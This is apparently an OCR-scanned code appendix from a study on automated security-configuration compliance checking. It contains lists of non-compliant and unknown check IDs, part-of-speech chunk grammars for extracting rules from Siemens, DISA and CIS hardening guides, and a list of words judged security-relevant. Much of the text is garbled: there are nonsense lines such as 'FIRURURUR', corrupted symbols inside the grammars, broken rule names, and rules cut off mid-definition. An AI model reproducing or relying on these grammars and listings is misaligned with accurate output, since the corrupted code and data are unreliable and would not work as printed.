BL696-0620, BL696-0639, BL696-0641, BL696-0687, BL696-0707, BL696-0716, BL696-0726, BL696-0769, BL696-0781
BL696-0793, BL696-0816, BL696-0831, BL696-0871, BL696-0903, BL696-0925, BL696-0941, BL696-0953, BL696-0986
BL696-0989, BL696-7452]
b_type: by_id
result: non_compliant_checks
check_ids: [BL696-0006, BL696-0016, BL696-0031, BL696-0096, BL696-0111, BL696-0124, BL696-0172, BL696-0211
<~ BL696-0326, BL696-0421, BL696-0450, BL696-0476, BL696-0562, BL696-0571, BL696-0819, BL696-0856, BL696-0881
— BL696-0896, BL696-0931_sub_0, BL696-0949, BL696-1066, BL696-1156, BL696-1211, BL696-1251, BL696-1381,
<~ BL696-1436, BL696-1546, BL696-1601, BL696-1621, BL696-1706, BL696-1711, BL696-1866, BL696-1896, BL696-3116
<~ BL696-7471_sub_0, BL696-7471_sub_1, BL696-7471_sub_2, BL696-7596, BL696-7636]
- sub_type: by_id
result: unknown_checks
check_ids: [BL696-0011, BL696-0118, BL696-0126, BL696-0133, BL696-0161, BL696-0167, BL696-0201, BL696-0221
BL696-0248, BL696-0249, BL696-0260, BL696-0295, BL696-0305, BL696-0346, BL696-0398, BL696-0406, BL696-0411
BL696-0425, BL696-0452, BL696-0468, BL696-0474, BL696-0486, BL696-0536, BL696-0561, BL696-0590, BL696-0602
BL696-0613, BL696-0619, BL696-0620, BL696-0639, BL696-0641, BL696-0687, BL696-0707, BL696-0716, BL696-0726
BL696-0769, BL696-0781, BL696-0786, BL696-0793, BL696-0816, BL696-0830, BL696-0831, BL696-0871, BL696-0903
BL696-0925, BL696-0941, BL696-0953, BL696-0986, BL696-0989, BL696-1626, BL696-7452]
b_type: by_id
result: error_occurred_checks
check_ids: []

FIRURURUR

FARURURUR

FARURURUR

Listing A.4.: Complete test definition for a Siemens security-configuration guide IV
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SENTENCE_WITH_TO_BE_DEFINED_BUT_CONTAINING_NO_EN: {<IN>
— <DT> <NNS> <.*>% <.>}

SENTENCE_WITH_ENABLED_WITH_X_ SELECTED_FOR_Y: {<IN>
— <VBN|VBD> <IN> <NN|NNP>+ <.>}
SENTENCE_WITH_DEFAULT_DOMAIN_AND_MAX_ MIN_AND_BUT: {<IN>
— <NN> <IN> <CD> <NNS>? <,>? <CC> <RB> <.x*> <.>}

SENTENCE_WITH_DEFAULT_DOMAIN_AND_MAX_ MIN: {<IN>
— <NN> <IN> <CD> <NNS>? <CC> <JJR> <.>}
SENTENCE_WITH_DEFAULT_DOMAIN: {<IN>
- <.>}

SENTENCE_WITH_ENABLED_AND_OPTION: {<IN>
< <NN> <.x>+ <VBN|VBD> <.>}
SENTENCE_WITH_ENABLED_AND_SETTING: {<IN>
< <VBN|VBD> <.>}

SENTENCE_WITH_NUMBER: {<IN>
s < x>% <.>}

SENTENCE_WITH _WITH_SELECTED: {<IN>
SENTENCE_WITH_TO_INCLUDE_ONLY: {<IN>
o <L x>+ <> <L #>+ <, >7?}

SENTENCE: {<IN>

<.*>+ <TO> <VB> <VBN> <CC> <VBG>

<.x>+ <TO> <VBN|VBD|VB> <IN> <.*>+

<DT> <NNP>+ <IN> <.*x>+ <TO> <DT>

<DT> <NNP>+ <IN> <.*x>+ <TO> <DT>

<DT> <NNP>+ <IN> <.*x>+ <TO> <.x>

<.%*>+ <TO> <VBN|VBD|VB> <IN> <DT>

<. x>+

<L *x>+

<L *x>+
<. x>+

<. x>+

<TO>

<TO>

<IN>
<TO>

<TO>

<VBN |VBD |VB> <IN> <.x>+

<CD> <NNS>? <CC> <JJR>

<.%*> <VBN|VBD> <.>}
<VB> <RB>? <DT> <JJ>

<NNP>+ <.>}

Listing A.5.: Complete grammar to extract DISA rules.

SENTENCE_WITH_RANGE: {<TO> <VB> <.*x>+ <DT> <NN> <" "> <IN> <CD> <CC> <CD> <NNS>

o <TT> <>}

SENTENCE_WITH_MIN_LABEL: {<TO> <VB> <.*>+ <™7> <,*>+ <77> <\ (> <.#>+ <77> < x>+ <77>

o <.x>+ <\)> <:>})

SENTENCE_WITH_OR_ENABLED: {<TO> <VB> <.*>+ <™7> <VB|VBN> <:> <,%>x < 7> <CC> <™7>

O <LE>+ <UT> <>}
SENTENCE_WITH_OR: {<TO> <VB> <.*>+ <

> < x>+ <TT> KCC> <TT> <LA>+ <TT> <>}

SENTENCE_WITH_MAX_NOT: {<TO> <VB> <.x>+ <" 7> <CD> <NNP |NNS|NN>? <CC> <JJR> <.*>+

— <,> <CC> <RB> <CD> <™"> <:>}

SENTENCE_WITH_MAX_NOT_ENABLED: {<TO> <VB> <.x>+ <™ "> <VB> <:> <"">? <°°>? <CD>
— <NNP |NNS|NN>? <CC> <JJR> <.*>x <,> <CC> <RB> <CD> <NNP |NNS|NN>? < "> <:>}
SENTENCE_WITH_MAX_MIN_ENABLED: {<TO> <VB> <.x>+ <™ "> <VB> <:> <"7>? <°°>? <CD>
— <NNP |NNS|NN>? <CC> <JJR> <NNP |NNS|NN>? <.*>x < 7> <:>}

SENTENCE_WITH_MAX_ MIN: {<TO> <VB> <.%>+ <° "> <CD> <NNP|NNS|NN>? <CC> <JJR>
— <NNP |NNS|NN>? <.%x>x <"7> <:>}

SENTENCE_WITH_INCLUDE: {<TO> <VB> <.*x>+ <TO> <VB> <™"> <, x>+ <™7°> <:>}
SENTENCE_WITH_UI_PATH: {<77> < x>+ <TT>)

Listing A.6.: Complete grammar to extract CIS rules.

162



A. Code Appendix

antivirus
autoplay
blocker
bridge
camera
clipboard
connection
cookie
credential
dangerous
dma

elevate
enumerate
expiration
game
inprivate
installation
late
location
1pt
microphone
notification
password
peer

player
print
publish
quality
recovery
registration
restart
saver
search
share
smartscreen
standby

tip

trust
updates
wdig

authentication
autorun
boot

build
certificate
complexity
connectivity
cortana
credssp
disconnected
driver
encryption
error

flag

index
insecure
join

llmnr

log

mapper
monitoring
ntp

pause

pin
preview
protocol
push
recording
redirection
remote

rpc

scan

sehop

sleep
spotlight
store

toast
update
watson
winrm

Listing A.7.: All security-relevant words according to the sentiment analysis.
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